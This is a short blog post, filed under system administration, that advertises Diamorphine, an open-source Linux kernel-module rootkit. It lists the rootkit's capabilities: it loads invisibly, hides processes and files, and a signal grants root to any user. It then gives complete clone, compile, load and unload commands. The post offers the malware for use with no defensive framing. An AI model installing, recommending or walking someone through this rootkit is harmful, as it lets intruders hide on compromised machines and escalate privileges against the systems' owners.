System Administration

Diamorphine – LKM Rootkit for Linux Kernels 2.6.x/3.x/4.x

Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x

Features

  • When loaded, the module starts invisible;
  • Hide/unhide any process by sending a signal 31;
  • Sending a signal 63(to any pid) makes the module become (in)visible;
  • Sending a signal 64(to any pid) makes the given user become root;
  • Files or directories starting with the MAGIC_PREFIX become invisble;
  • Source: https://github.com/m0nad/Diamorphine
Install
Verify if the kernel is 2.6.x/3.x/4.x

uname -r

Clone the repository

git clone https://github.com/m0nad/Diamorphine

Enter the folder

cd Diamorphine

Compile

make

Load the module(as root)

insmod diamorphine.ko

Uninstall
The module starts invisible, to remove you need to make its visible

kill -63 0

Then remove the module(as root)

rmmod diamorphine

References
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://www.thc.org/papers/LKM_HACKING.html
Memset’s blog http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/

About the author

Icarus

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